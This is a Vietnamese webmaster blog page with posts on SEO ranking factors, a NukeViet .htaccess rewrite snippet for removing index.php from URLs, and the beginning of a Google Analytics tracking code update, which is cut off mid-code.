Thứ Ba, 18 tháng 3, 2014

Seo dễ hay khó ?


Seo dễ hay khó ?
3 yếu tố chính để bài viết lên top:
  1. - độc nhất
  2. - nhanh nhất
  3. - đông nhất
Tức là những bài viết duy nhất, hoặc nếu có sự trùng lặp thì sẽ ưu tiên bài đăng sớm nhất. Trường hợp không xác định được bài đăng sớm nhất sẽ căn cứ vào web nào có đông người xem nhất.chỉ tim

Độc nhất:
Tất nhiên rồi, chỉ tìm thấy 1 bài viết phù hợp nhất với nội dung tìm kiếm thì tất nhiên bài đó sẽ hiển thị đầu tiên, nhiều trường hợp chỉ hiển thị kết quả duy nhất.
Nhưng trên thực tế mọi người tìm từ khóa với nội dung khá chung chung có tại nhiều website, do đó công cụ tìm kiếm sẽ xét đến yếu tố thứ 2.
Nhanh nhất
Nếu có nhiều bài viết giống nhau thì công cụ tìm kiếm sẽ xếp bài xuất hiện đầu tiên lên trên cùng vì họ nghĩ bài đầu tiên thường là bài của tác giả.
Tuy nhiên việc xác định thời gian ở đây chính là thời gian mà bót nhìn thấy đầu tiên tức là thời điểm mà nó index, chứ không phải thời gian ngày tháng hiển thị trong trang bài viết.
Do đó đã xảy ra hiện tượng đôi khi rất kho xác định đâu là web đăng đầu tiên, thường xảy ra với các web có cộng cụ sao chép tức thời và có cửa cho sự may mắn đối với website chuyên sao chép. Nếu website chuyên sao chép có bài liên tục hàng giờ, đông người vào thì bot sẽ ghé thăm với tần xuất liên tục hơn web khác.
Lấy ví dụ:  Gọi web tác giả là A, gọi web sao chép là B,.
vào lúc 6h sáng A đăng một bài viết, nhưng A ít đăng bài liên tục và ít người truy câp hơn nên bot chỉ vào thăm A một lần trong ngày.
Vào lúc 8h B sao chép A, vì B có nhiều bài liên tục và khách truy cập đông hơn nên B được bot ghé thăm thường xuyên. Sau khi B đăng bài thì được bot index nghiễm nhiên B là sớm nhất.
Thật không may cho B mãi đến 2h chiều bot mới đến thăm, lúc này bót đã thưởng thức món đó ở bên B rồi, nó coi A như kẻ sao chép.
Trường hợp này cũng tương tự như việc đăng ký bản quyền vậy, cho dù bạn sáng tạo trước nhưng người đăng ký sớm mới là người có đầy đủ tính pháp lý.
Để hạn chế hiện tượng này G đã có công cụ đăng ký bản quyền tác giả cho website, nhưng có phải lúc tất cả bài viết trên web cũng 100% chính chủ, nên với website tin tức khó mà thực hiện được.
Đông nhất:
Nếu 2 yếu tố trên khó xác định thì bot sẽ căn cứ vào web có sự quan tâm nhiều nhất, đông nhất.

Tại việt nam 24h.com.vn là ví dụ điển hình. Đây là web tin tức cập nhật chứ không phải là toàn soạn báo chí, nó sao chép gần như lập tức các bài viết khắp nơi, sau đó quản trị viên sẽ sửa xóa sau nếu thấy cần thiết. Website có nhiều tin giật gân, khiêu gợi, kích thích sự tò mò nên rất đông người xem. Do vậy khó mà so sánh 24h.com.vn với dantri, vnexpress,... ai là ai. 24h.com.vn đã vượt lên trước và chiếm doanh thu lớn từ quảng cáo khiến những website tòa soạn khác cũng phải thòm thèm!

Như vậy thực sự mà nói thì 3 yếu tố trên có mối liên quan rất chặt chẽ. Nhất là yếu tố nhanh nhất và đông nhất, có đông nhất thì mới được index nhanh nhất.

Vậy nên đôi khi chấp nhận may rủi, với các web nhỏ hơn, nội dung chẳng phải là độc, index không thường xuyên sớm, mà truy cập cũng không nhiều. Thì việc seo sẽ khó khăn hơn, do đó ngoài "tự thân vận động" phải tận dụng "yếu tố bên ngoài" tạo sự quan tâm nhiều nhất về mình. Nói tóm lại nếu nội dung bài viết không có gì khác biệt, na ná với các website khác, thì G sẽ  căn cứ vào mức độ quan tâm đến bài viết đó.

Điều này đã hình thành nên các yếu tố ảnh hưởng đến seo được chia thành 2 nhóm chính chiếm tỷ trọng ngang nhau:

- Yếu tố nội lực của website:


Người ta thường gọi là onpage. Nó bao gồm nội dung bài viết, tối ưu code, tối ưu URL. ngoài ra còn vài yếu tố kỹ thuật khác như như hosting ổn định hay không, ...
Để cho dễ hiểu có thể ví như sau:
  • + Nội dung là thứ cần tìm trong một căn phòng.
  • + URL là đường dẫn để đến căn phòng đó
  • + Tối ưu code cũng như việc căn phòng đó được sắp xếp gọn gàng ngăn nắp.
Căn phòng không có đồ thì chẳng cớ gì phải vào tìm. URL không thân thiện thì cũng như đường đến khó tìm, dễ nhầm lẫn. Khi tìm được phòng rồi nhưng đồ quá bề bộn (h1,h2,h3, style,... tùm lum), tìm quá mất thời gian so với phòng khác thì cũng dễ bị bỏ qua. Lưu ý nhỏ: Tối ưu code cũng bao gồm tối ưu bài viết, bài viết thay vì dùng HTML để trình bày thì dùng các công cụ soạn thảo thì cũng sinh nhiều code linh tinh không cần thiết.

- Yếu tố bên ngoài website:

Bao gồm sự quan tâm trên mạng xã hội và giới thiệu từ các website khác.

Nếu trên mạng xã hội tần xuất từ khóa, link website được xuất hiện nhiều đồng nghĩa với việc nhiều người quan tâm. Tuy nhiên nhiều người chưa hiểu đúng về điều này, họ cứ nghĩ bài viết nhiều like hay +1 là xong. Nhưng thực tế G tuyên bố không phải vậy. Like hay +1 chỉ như công cụ rating (người xem tự chấm điểm bài viết), việc click để like hay +1 rất dễ làm và nó không ảnh hưởng đến top tìm kiếm. Sự quan tâm phải là tự nhiên và thật sự, tức là người dùng nhấn vào nút chia sẽ, có những comment lên tường của họ. điều này cần trải qua vài click chuột chứ không phải đon giản như 1 click like. Như thế mới có thể coi như có người đang thực sự quan tâm. Do đó có những công ty đã thuê những người chỉ làm mỗi việc là chém gió trên mạng xã hội, thu hút người like và comment cho trang của họ.

Việc giới thiệu từ các website khác nhất là các website uy tín, cũng khá quan trọng. Tuy nhiên nhiều người cũng lầm tưởng cứ rao backlink là xong. Những việc quăng backlink khắp nơi hoặc dùng phần mềm tạo ra sự quan tâm bất thường là việc mà đứa trẻ cũng biết làm. Nó không những chẳng mang lại hiệu quả mà không khéo lại bị dính vào danh sách đen. Tương tự như tâm lý con người, quảng cáo mạnh, vào xem chẳng có gì đáng xem, lần sau có thật cũng không buồn vào.

G rất coi trọng link tự nhiên, tức là số lượng backlink xuất hiện một cách vừa phải trong một khoảng thời đủ dài phù hợp với hiện trạng của website. Nếu website nhiều bài viết, đông người xem thì tất nhiên số lượng 1000 backlink xuất hiện trong 1 tuần là điều hợp lệ. Ngượi lại website chưa đến 100 bài, người truy cập vài người một ngày nhưng trong 1 đêm có 100 backlink thì chấm hết.

Các website không nhiều bài, nhưng muốn gia tăng thêm số lượng backlink hợp lệ đã dùng biện pháp thuê xem website, tức là làm tăng lượng truy cập website. Đây cũng là một cách hay mà khó mà nói là không hợp lệ.
Nói như trên không có nghĩa là backlink nhiều là tốt mà là "gần mực thì đen gần đèn thì sáng". Nếu website có những backlink từ những web xấu thì điều đó không được đánh giá tốt. Ngược lại backlink xuất hiện từ những web uy tín, có PR cao thì cũng khiến website bè bạn được coi trọng.

Nói đến đây không có nghĩa cứ dán backlink lên website oách là xong. G cũng thừa biết link nào bất thường, những link xếp cạnh nhau như menu thì không được coi trọng mà phải là link trong bài viết mới có giá. Chính vì vậy những website báo chí lớn đã có nghề PR cho các website khác hoặc quảng cáo baner mới một cái giá khá đắt.
Lại nói thêm: website PR0 muốn lên PR sớm đã nôn nóng xin 10 backlink trên 10 web PR5 trong 1 tuần. Bót vào thấy lượng truy cập ít thì đây cũng là yếu tố bất thường. Vừa tốn tiền vừa mất thời gian lại không được gì.

Seo là việc vừa dễ vừa khó. Sẽ dễ dàng nếu có nguồn nội dung sạch và đều đặn. Mạng lưới các website vệ tinh, mạng xã hội, tổng lượng người quan tâm trên các site vệ tinh đông đảo. Sẽ là khó nếu đi từ con số không, nội lực chưa đủ lớn mà đã nôn nóng PR cao, không vệ tinh hoặc vệ tinh quá ít, phải bám vào các backlink không tự nhiên, xây dựng backlink quá nhanh, quá nhiều và sử dụng những công cụ bất thường.
Thao trinh
Seo dể hay khó, cái khó trong seo, cái dễ của seo, những sai lầm khi seo, việc cần tránh khi seo, nhóm yếu tố ảnh hưởng đến xếp hạng

Tổng hợp các yếu tố ảnh hưởng đến SEO


Tổng hợp các yếu tố ảnh hưởng đến SEO Bài viết tổng hợp các yếu tố ảnh hưởng đến SEO. Được tổng hợp từ nhiều nguồn, đánh số thứ tự hoặc chia nhỏ số lượng các yếu tố chỉ mang tính chất tương đối.

Từ khóa
1Từ khóa trong thẻ <title>Đây là một trong những nới quan trọng nhất để bạn để từ khóa bởi vì thẻ title này sẽ hiển thị trong kết quả tìm kiếm đại diện cho một tiêu đề website của bạn. Các tag title có khoảng 6 – 7 chữ và khoảng 70 kí tự. Và cố gắng để từ khóa lên đầu khi soạn ra title cho website của bạn 3
2Từ khóa trong URLTừ khóa trong URL có lợi ích rất nhiều trong Seo – Ví dụ: http://domainname.com/Dich-vu-seo.hlml. trong đó “Dich vu seo” là cụm từ khóa bạn đang đặt mục tiêu xếp hạng trên Serp. Nhưng nếu bạn không có từ khóa này trong các nội dung trên trang này thì việc từ khóa có trong URL có khi là không có ý nghĩa 3
3Mật độ từ khóa trong Nội dungĐây là một yếu tố rất quan trọng mà bạn phải để ý. Sắp xếp mật độ từ khóa chính khoảng 3 – 7%, 1 – 2% cho các từ khóa phụ. Mật độ từ khóa trên 10% là đáng nghi ngờ với google và sẽ được xem như là việc nhồi nhét từ khóa trong nội dung 3
4Từ khóa trong Anchor TextCũng rất quan trọng, đặc biệt là các anchor text của liên kết trong nước, bởi vì nếu bạn có các liên kết từ các trang web khác chứa các từ khóa trong anchor text thì được xem như là có một phiếu bầu chọn từ các trang web khác tới website của bạn, và cụ thể hơn là cho các từ khóa mà bạn được đặt liên kết. 3
5Từ khóa trong thẻ heading(<H1 – H6>)Là nơi rất tốt để đặt những từ khóa mục tiêu chính cho trang. 3
6Từ khóa xuất hiện đầu tiên trong nội dung trang.Mặc dù không quan trọng như anchor texr, title, hay tag heading. Nhưng sự xuất hiện của từ khóa ở đầu tiền của nội dung trang sẽ được google rất chú trọng. 2
7Từ khóa trong thẻ AltSpider của google không đọc được hay biết được hình ảnh là cái gì nhưng nó có thể đọc được các đoạn mô tả văn bản trong thẻ Alt, vì vậy bạn nên có thểm các thẻ Alt chứa các từ khóa mô tả hình ảnh sẽ rất hiệu quả để giúp Bot nhận biết được nội dung của hình ảnh. 2
8Từ khóa trong MetaTagsThẻ này mang ít quan trọng trong google, nhưng với Yahoo và Bing vẫn có tầm quan trong nhất định. Vì thế nếu bạn thực hiện thêm việc tối ưu hóa trên Yahoo hoặc Bing, bạn nên tối ưu thêm thẻ này trong website của bạn. Sẽ rất có hiệu quả trên Bing và Yahoo 1
9Khoảng cách từ khóaKhoảng cách từ khóa là biện pháp làm thế nào để thực hiện các phân bố các từ trong cụm từ khóa mục tiêu xuất hiện đồng đều giữa các đoạn văn bản trong nội dung. 1
10Cụm từ khóaNgoài các từ khóa, bạn có thể tối ưu hóa cho các cụm từ khóa. Ví dụ như từ khóa “dịch vụ seo”. Bạn có thể kết hợp các từ dịch vụ và seo với các cụm từ khác để có thể thấy sự xuất hiện nhiều hơn về mật độ từ khóa dịch vụ seo xuất hiện trong nội dung 1
11Từ khóa thứ cấpTối ưu hóa cho các từ khóa thứ cấp có thể là một chiến lược đúng đắn khi các đối thủ đang làm cho các từ khóa phổ biến, vì thế bạn sẽ có ít đối thủ cạnh tranh. Với những từ khóa thứ cấp này có thể đem lại cho bạn nhiều lượng truy cập hơn vào các trang được tối ưu hóa. Ví dụ: như từ khóa “dự án bất động sản” có thể có lượng truy cập ít hơn từ “ bất động sản” nhưng bạn sẽ nhận được một lượng truy cập đáng kể trong 1 thời gian ngắn và nhắm mục tiêu tốt hơn những người dùng quan tâm đến website của bạn. 1
12Từ khóa xuất phátĐối với tiếng Anh này không phải là quá nhiều của một yếu tố vì từ mà xuất phát từ cùng một gốc (ví dụ như con chó, con chó, con chó, vv) được xem là có liên quan và nếu bạn có "chó" trên trang của bạn, bạn sẽ nhận được số truy cập cho "con chó "và" doggy "là tốt, nhưng cho các ngôn ngữ khác bắt nguồn từ khóa có thể là một vấn đề bởi vì các từ khác nhau mà xuất phát từ cùng một gốc được coi như không liên quan và bạn có thể cần để tối ưu hóa cho tất cả chúng. 1
13Từ đồng nghĩaTối ưu hóa cho các từ đồng nghĩa của các từ khóa mục tiêu sẽ mang những lợi ích đáng kể. Điều này tốt nhất cho các website bằng tiếng Anh. Các công cụ tìm kiếm đủ thông minh để nhận biết được các từ đồng nghĩa. 1
14Mistypes từ khóaLỗi chính tả là một lỗi rất dễ sảy ra với người dung khi truy vấn một vấn đề. Có thể những lỗi này sẽ đem lại cho bạn một cơ số lượng truy cập đáng kể khi bạn tối ưu hóa các từ khóa này. Nhưng việc lỗi chính tả xuất hiện trên nội dung trang web sẽ tạo ấn tượng không tốt với người dùng. Vì vậy bạn không nên làm điều đó. Hoặc bạn có thể làm điều đó trong MetaTags 0
15Pha loãng từ khóaKhi bạn thực hiện việc tối ưu hóa cho quá nhiều từ khóa, nhất là chúng không liên quan đến nhau, điều này sẽ có ảnh hưởng rất lớn đến hiệu suất công việc tối ưu hóa của bạn và sự xuất hiện những từ khóa mục tiêu trên nội dung. -2
16Nhồi nhét từ khoáViệc nhồi nhét từ khóa (Mật độ từ khóa >10%) trong một nội dung, văn bản quá nhiều sẽ khiến website của bạn có nguy cơ bị cấm từ các công cụ tìm kiếm. -3
Liên kết - nội bộ, trong nước, ngoài nước
17Anchor Text ở liên kết trong nướcĐây là một trong những yếu tố quan trọng nhất để quyết định thứ hạng website của bạn trên Serp. 3
18Nguồn gốc của liên kết trong nướcĐiều quan trọng của việc đặt liên kết là xem xét các trang liên kết với bạn có uy tín hay không. Theo tôi thì hiện nay việc đánh giá 1 website có uy tín hay không thì dựa vào 2 chỉ số là PR và TrustRank của website đó. Các liên kết với các website xấu và uy tín thấp sẽ làm cho thứ hạng website của bạn bị đánh giá thấp. 3
19Các liên kết từ các trang web tương tựViệc xây dựng link từ các trang này càng nhiều càng tốt. Nhưng việc đánh giá chất lượng site của họ để đặt liên kết sẽ quan trọng hơn nhiều số lượng. 3
20Các liên kết từ. Edu và. Các trang web govCác liên kết này được xem là rất quý hiếm vì nó rất nhiều uy tín đối với google và rất khó để có được các liên kết từ nó. 3
21Số lượng backlinksViệc xây dựng Backlink sẽ càng nhiều càng tốt. Nhưng hiện nay thì bạn nên chú trọng hơn việc xây dựng liên kết chất lượng. 3
22Anchor Text của Liên kết trong nướcĐiều này cũng rất quan trọng, mặc dù nó không được xem nhiều quan trọng như Anchor Text của Liên kết trong nước 2
23Nội dung xung quanh Anchor TextCác nội dung trước và sau các anchor text cũng có ít quan trọng vì nó thể hiện sự tự nhiên trong nội dung văn bản. 2
24Tuổi của liên kết trong nướcCàng lớn càng tốt. việc website của bạn nhận được nhiều liên kết trong 1 time ngắn sẽ bị google xem là bạn đang mua liên kết 2
25Các liên kết từ web DirectoryCác liên kết này sẽ giúp website của bạn có được thêm uy tín đối với google. Nhưng việc có quá nhiều liên kết đến các web Directory có PR0 thì nó được xem như là vô nghĩa, thậm chí là có hại vì google có thể xem đây là các liên kết spam khi bạn có quá nhiều liên kết như vậy 2
26Số lương liên kết đi của các website có liên kết đến website bạn.Càng ít càng tốt. Nó sẽ giúp cho liên kết của bạn có tính chất quan trọng hơn. 1
27Anchor được đặt tênAnchor Text được đặt tên sẽ rất hữu ích cho Seo vì nó sẽ làm tăng thêm tính quan trọng của đoạn Anchor text xuất hiện trên trang. 1
28Địa chỉ IP của liên kết trong nướcTrước đây google không phân biệt đối xử với các liên kết đến từ một địa chỉ IP. Nhưng theo tôi, thì hiện nay google đã chú ý đến hơn vấn đề này và không đánh giá cao các liên kết đến từ các website cùng một IP. 1
29Liên kết từ các trang LinkFarm và các trang web đáng ngờTrước đây, các liên kết này sẽ không bị ảnh hưởng xấu đến website của bạn vì nó nằm ngoài tầm kiểm soát của bạn khi thực hiện Link Building và cũng không bị google phạt. Tuy nhiên, một số thay đổi gần đây của các thuật toán google đã cho thấy điều ngược lại. Vì thế bạn không nên xây dựng liên kết từ các trang LinkFarm và nên loại bỏ các liên kết này đến website của bạn 0
30Nhiều liên kết điBạn nên giữ việc liên kết ra ngoài của bạn dưới 100 mỗi trang. Có quá nhiều liên kết ra ngoài sẽ không giúp bạn có bất kì lợi ích gì về xếp hạng và thậm chí có thể làm cho websie của bạn mất đi sự uy tín. -1
31Quá nhiều liên kết, liên kết gửi thư rácNó có hại cho thứ hạng của bạn, khi bạn có nhiều liên kết đến / từ các trang web tương tự (thậm chí nếu nó không phải là một liên kết ngang chương trình hoặc liên kết đến các nước láng giềng xấu) bởi vì nó cho thấy liên kết mua hoặc ít nhất là gửi thư rác. Trong trường hợp tốt nhất chỉ có một số các liên kết được đưa vào tài khoản cho bảng xếp hạng SEO. -1
32Liên kết ra ngoài đến các website xấuCác liên kết đi đến các website xấu hoặc các web có quá nhiều liên kết đi sẽ làm mất uy tín cho website của bạn.Bạn nên kiểm tra thường xuyên những website mà bạn có liên kết tới nó. -3
33Liên kết ngangLiên kết chéo xảy ra khi trang web Một liên kết đến trang web của B, B trang web liên kết đến trang web của C và C trang web liên kết đến trang web A. Đây là ví dụ đơn giản nhưng các chương trình phức tạp hơn có thể xảy ra. Liên kết ngang trông như trá hình đối ứng liên kết kinh doanh và bị trừng phạt. -3
34Liên kết đơn điểm ảnhKhi bạn có một liên kết là một điểm ảnh hoặc là một thứ vô hình với người dùng thì đó được xem là một thủ thuật Black Hat Seo. -3
MetaTags
35<description> MetatagMetaTags càng ngày càng ít quan trọng hơn trên công cụ tìm kiếm. Nhưng có chúng sẽ làm cho vấn đề của bạn để Seo sẽ dễ dàng hơn Với sự xuất hiện thêm của thẻ Metag <description> và Meta <keywords>.Sử dụng thẻ Meta <description> để viết các mô tả trên trang web của bạn. Nó sẽ xuất hiện trên phần mô tả trang web của bạn trên Serp. 1
36<keywords> MetatagHiện nay thẻ Meta Keywords không còn quan trọng gì đối với Google nhưng có nó trong phần tối ưu website của bạn sẽ tốt hơn là không có. 1
37<language> MetatagHiện nay google đã rất thông minh để nhận biết được ngôn ngữ trên trang thay vì dựa vào thẻ Meta <language>. Nhưng họ vẩn xem xét nó. 1
38<Refresh> MetatagCác metatag <Refresh> được sử dụng để chuyển hướng truy cập từ một website cũ đến một website mới của bạn. Bạn chỉ nên sử dụng thẻ này khi bạn vừa mới di chuyển từ 1 trang cũ đến 1 trang mới. Không nên sử dụng metatag <Refresh> trong 1 thời gian dài. Vì đó được xem là một thủ thuật xấu và sẽ ảnh hưởng đến thứ hạng website của bạn, -1
Nội dung
39Nội dung độc đáoCó nhiều nội dung liên quan đến các từ khóa mục tiêu trên trang của bạn sẽ giúp cho việc xếp hạng website của bạn được thúc đẩy nhanh hơn 3
40Tần số của sự thay đổi nội dungThường xuyên cập nhật nội dung và thay đổi nội dung mới trên trang web của bạn sẽ giúp website của bạn được đánh giá cao hơn. 3
41Từ khóa kích thước phông chữKhi một từ khóa trong nội dung được làm phông chữ to hơn hoặc khác biệt hơn đối với các chữ khác trong văn bản sẽ làm cho nó được nổi bật và nhận được nhiều sự chú ý hơn. Và nó được xem là phần quan trọng hơn những phần còn lại trong nội dung. 2
42Từ khóa định dạngSử dụng font chữ đậm và nghiêng cũng là một cách khác để nhằm nhấn mạnh những từ khóa hoặc cụm từ khóa quan trọng trong nội dung trang. Tuy nhiên bạn nên sử dụng hợp lý hình thức nhận mạnh này vì sử dụng sai sẽ khiến nhiều tác dụng ngược đối với website của bạn. 2
43Tuổi của tài liệuTài liệu gần đây (hoặc những người được cập nhật ít nhất là thường xuyên) được ưa chuộng. 2
44Kích thước tập tinCác văn bản dài ( 1,500 – 2000 từ hoặc hơn) sẽ không được ưa chuộng với Google cũng như người dùng. Các văn bản ngắn (500 – 1000 từ) sẽ được ưa chuộng và sẽ có được thứ hạng tốt hơn. Các văn bản quá ngắn từ 100 – 200 từ hoặc ít hơn cũng không được google ưa thích. 1
45Nội dung tách biệtTrong Seo, trên 1 trang xuất hiện quá nhiều nội dung tách biệt sẽ khiến cho google khó khăn khi xác định nội dung trên trang -2
46Mã hóa và thiết kế kémViệc mã hóa và thiết kế một website không nằm trong việc tối ưu hóa nhưng việc mã hóa và thiết kế kém sẽ gây hại cho website của bạn rất nhiều. -2
47Nội dung bất hợp phápSử dụng nội dung bản quyền của người khác mà chưa được sự cho phép của tác giả hoặc sử dụng những nội dung xấu sẽ bị đày ra khỏi các công cụ tìm kiếm. -3
48Văn bản vô hìnhĐây là một hành vi Black Hat Seo và trước sau gì website của bạn cũng sẽ bị phạt -3
49CloakingCloaking là một kỹ thuật Seo mũ đen và không hợp pháp. Nó sẽ sớm bị phát hiện và website sử dụng kỹ thuật này sẽ bị phạt -3
50Doorway PagesTạo một trang ảo để thúc đẩy trang chính để đánh lừa Spider cũng sẽ khiến website của bạn bị phạt bởi google -3
51Nội dung trùng lặpKhi bạn có cùng một nội dung trên một số trang. Nó sẽ không khiến cho website của bạn trông sẽ nhiều hơn việc nội dung trong trang. Nó là việc thể hiện cho nội dung trùng lặp trên trang của bạn. Và Gấu trúc Panda rất thích điều này khi nó sẽ có việc để làm trên trang của bạn. -3
Hình ảnh Extras và SEO
52JavaScripttôi ko biết tại sao người ta thêm javascript vào danh sáchXét về bản chất kỹ thuật thì javascript cũng là một dạng ngôn ngữ lập trình như php, asp, css, html, c++,... trong khi các con bót chỉ quan tâm đến những nội dung nhìn thấy được để trưng ra cho người xem mà thôi. Còn bạn viết bằng ngôn ngữ gì thì không phải việc của nó! 0
53Hình ảnh trong văn bảnMột trang văn bản không có hình ảnh thì khiến người đọc rất nhàm chán nhưng chỉ có hình ảnh mà không có nội dung thì đó là một điều không nên trong Seo. Bạn phải luôn luôn có thẻ Alt và những thông tin liên quan đến các hình ảnh xuất hiện trên trang. 0
54Podcast và videoPadcast và video đang ngày càng phổ biến hơn nhưng các công cụ tìm kiếm không thể đọc được chúng. Vì vậy bạn phải thêm tapescript của podcast và video để có thể giúp Google lập chỉ mục nó. 0
55Hình ảnh thay vì liên kết văn bảnSử dụng hình ảnh thay vì liên kết văn bản là xấu, đặc biệt là khi bạn không điền vào các thẻ Alt.Nhưng ngay cả khi bạn điền vào các thẻ Alt, nó không phải là giống như có một đậm, gạch chân, 16-pt. liên kết, do đó sử dụng hình ảnh cho menu chỉ nếu điều này là thực sự quan trọng đối với cách bố trí đồ họa của trang web của bạn. -1
56FlashSpider không lập chỉ mục nội dung của phim Flash, vì vậy nếu bạn sử dụng Flash trên web thì nên cung cấp cho google một đoạn mô tả văn bản thay thế. -2
Tên miền, URL, Web Mastery
59Keyword rich URLs and filenamesMột yếu tố rất quan trọng, đặc biệt là cho Yahoo! và Bing. 3
60Khả năng truy cập trang webMột vấn đề cơ bản mà thường bị quên hoặc bỏ qua. Nếu các trang web bị unaccessible (Lỗi truy cập) vì các liên kết bị hỏng, hoặc lỗi 404 và các lý do khác thì các trang này sẽ bị mất index hoặc đem lại một ấn tượng xấu cho công cụ tìm kiếm. 3
61SitemapGoogle rất thích khi website của bạn có đầy đủ và cập nhật thường xuyên một sitemap. 2
62Tuổi trangCác website có độ tuổi lâu sẽ được các công cụ tìm kiếm tôn trọng và tin tưởng hơn. 2
64Chủ đề trang webChủ đề trang web không chỉ là từ khóa chứa trong URL và các nội dung trên trang đó.
Chủ đề trang web thậm chí còn quan trọng hơn thứ hạng từ khóa tốt bởi vì khi trang web phù hợp với một chủ đề nó sẽ làm tăng thứ hạng của tất cả các trang của nó liên quan đến chủ đề
2
65Tập tin từ trên trang webVị trí tập tin quan trọng và các tập tin được đặt trong thư mục gốc hoặc gần nó sẽ có xu hướng xếp hạng tốt hơn so với các tập tin được xa hoặc nằm sâu trong các thư mục. 1
66Lĩnh vực so với các tên miền phụ, tên miền riêngCó một tên miền riêng biệt sẽ tốt hơn. Ví dụ: thay vì có Seodocument.blogspot.com thì nên có 1 tên miền seodocument.com hoặc seodocument.vn. Nó sẽ được đánh giá tốt hơn. 1
67Tên miền cấp cao (TLD)Không phải tất cả tên miền cấp cao đều đánh giá bằng nhau. Ví dụ: ở Việt Nam tên miền .vn sẽ được đánh giá cao hơn những tên miền .com hoặc .net hay .org …. 1
68Dấu gạch ngang trong URLDấu gạch ngang giữa các từ trong một URL sẽ làm tăng khả năng đọc của các Robot và sẽ có hiệu quả rất nhiều trong Seo. Dấu gạch ngang có thẻ áp dung ở cả tên miềm và trong URL. 1
69Chiều dài URLNói chung là nó không quan trọng nhưng nếu bạn có một URL quá dài thì nó được xem là spam. Vì thế bạn nên tránh việc có nhiều hơn 10 từ trong URL. 0
70Địa chỉ IPChỉ quan trọng với việc chia sẽ lưu trữ hoặc khi nhiều trang web được lưu trữ trong một Hosting miễn phí. Vì chỉ khi một website trong đó thực hiện hành vi spam và bị liệt vào danh sách đen cũng sẽ ảnh hưởng đến các website khác cùng IP đó. 0
71Adsense sẽ thúc đẩy xếp hạng của bạnAdsense không có một liên quan nào hay tác động nào trong xếp hạng Seo. Nó chỉ có phần đưa lưu lương trụy cập vào website của bạn. 0
72AdWords sẽ thúc đẩy xếp hạng của bạnTương tự như Adsense, thì Adwords cũng không có tác động gì đến bảng xếp hạng của bạn. Chỉ mang đến lưu lượng truy cập cho website của bạn. 0
73Archives downtimeViệc lưu trữ thời gian load website của bạn cũng có liên quan trực tiếp đến việc Seo của bạn. Vì khi web của bạn thường xuyên mất rất nhiều thời gian để loading một trang sẽ ảnh hưởng rất nhiều đến việc lập chỉ mục. Vì thế bạn nên chọn một nhà cung cấp hosting uy tín để không phải lo lắng cho việc này -1
74URL độngCác spider của google thích các URL tĩnh. Mặc dù vẫn có nhiều trang có URL động ở các vị trí đầu bảng xếp hạng. Nếu website của bạn sử dụng các URL động thì bạn nên sử dụng các tool để viết lại các URL động này để thân thiện hơi đối với Seo. -1
75Session IDĐiều này thậm chí còn tệ hại hơn việc sử dụng các URL động. Không sử dụng session ID cho thông tin mà bạn muốn Spider lập chỉ mục -2
76Noindex trong robots.txtNếu chỉ mục của một phần đáng kể của trang web bị cấm, điều này có thể ảnh hưởng đến một phần nonbanned cũng vì nhện sẽ đến ít thường xuyên hơn để một "noindex" trang web.
Nếu việc lập chỉ mục của bạn bị hạn chế và ảnh hưởng đến việc Seo của bạn thì bạn nên xem lại việc để “noindex” trong file Robot.txt trong trang web của bạn.
-2
77Chuyển hướng (301 và 302)Nếu không áp dụng đúng cách việc chuyển hướng thì có thể khiến website của bạn bị tổn hại rất nhiều – như việc một số trang không thể mở được, hoặc có thể bị mất dữ liệu, hoặc nó có thể được xem như là một kỹ thuật mũ đen khi lưu lượng truy cập vào site bị chuyển hướng đến những trang khác nhau trong 1 thời gian ngắn-3

sưu tầm
Tổng hợp các yếu tố ảnh hưởng đến seo. Tổng hợp các yếu tố ảnh hưởng đến công cụ tìm kiếm google. Thủ thật seo, kiến thức seo
Thứ Tư, 5 tháng 3, 2014

Bỏ index.php trong URL sau domain


Khi gõ địa chỉ domain.com lên trình duyệt, thay vì URL vẫn gữ nguyên domain.com/ thì URL website xuất hiện domain.com/index.php. Điều này chứng tỏ website chưa cấu hình đặt rewrite. Hẩy vào admin để kích hoạt chức năng này. Nhưng trường hợp đã kích hoạt rồi mà vẫn bị thì cần xem lại file .htaccess. Thêm đoạn code sau vào phần dưới cùng :

##################################################################################
#nukeviet_rewrite_start //Please do not change the contents of the following lines
##################################################################################
#Options +FollowSymLinks
<IfModule mod_rewrite.c>
RewriteEngine On
#RewriteBase /
RewriteCond %{REQUEST_FILENAME} /robots.txt$ [NC]
RewriteRule ^ robots.php?action=%{HTTP_HOST} [L]
RewriteRule ^(.*?)Sitemap\.xml$ index.php?nv=SitemapIndex [L]
RewriteRule ^(.*?)Sitemap\-([a-z]{2})\.xml$ index.php?language=$2&nv=SitemapIndex [L]
RewriteRule ^(.*?)Sitemap\-([a-z]{2})\.([a-zA-Z0-9-]+)\.xml$ index.php?language=$2&nv=$3&op=Sitemap [L]
RewriteRule ^((?!http(s?)|ftp\:\/\/).*)\.(css|js)$ CJzip.php?file=$1.$3 [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule (.*)(\/)$ index.php
</IfModule>
#nukeviet_rewrite_end
##################################################################################

Trường hợp đã làm như trên vẫn không được, khả năng do hosting không cho bật chức năng này. Hẩy thử liên lạc với nhà cung cấp dịch vụ và yêu cầu giúp đỡ.
GL: rewrite nukeviet. rewrite .htaccess. bỏ index.php trong URL. URL rewrite.
thaotrinh
Thứ Bảy, 22 tháng 2, 2014

Tài liệu HTML5 bằng web sildes 3D (English)


Tài liệu HTML5 bằng slide 3D, bạn click vào slide để kích hoạt, sau đó nhấn các phím trên bàn phím [<-] [->] để xem slides này

html5rocks
Thứ Ba, 26 tháng 11, 2013

Cập nhật mã theo dõi nhân khẩu học và sở thích người dùng từ Analytics

Cập nhật mã theo dõi nhân khẩu học và sở thích người dùng từ Analytics
Những bạn đang và đã sử dụng mã js của Analytics thì chú ý, Analytics của google thêm tính năng theo dõi nhân khẩu học (độ tuổi, giới tính, ...) khiến những ai đang sử dụng code mặc định không để ý thì có thể tính năng này không phát huy được tác dụng.

Trước tiên bạn cần sửa lại chút code trước kia
Để triển khai Tiếp thị lại hoặc Báo cáo hiển thị trên GDN, hãy thay thế văn bản màu đỏ trong ví dụ sau:

<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxxxx-y']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
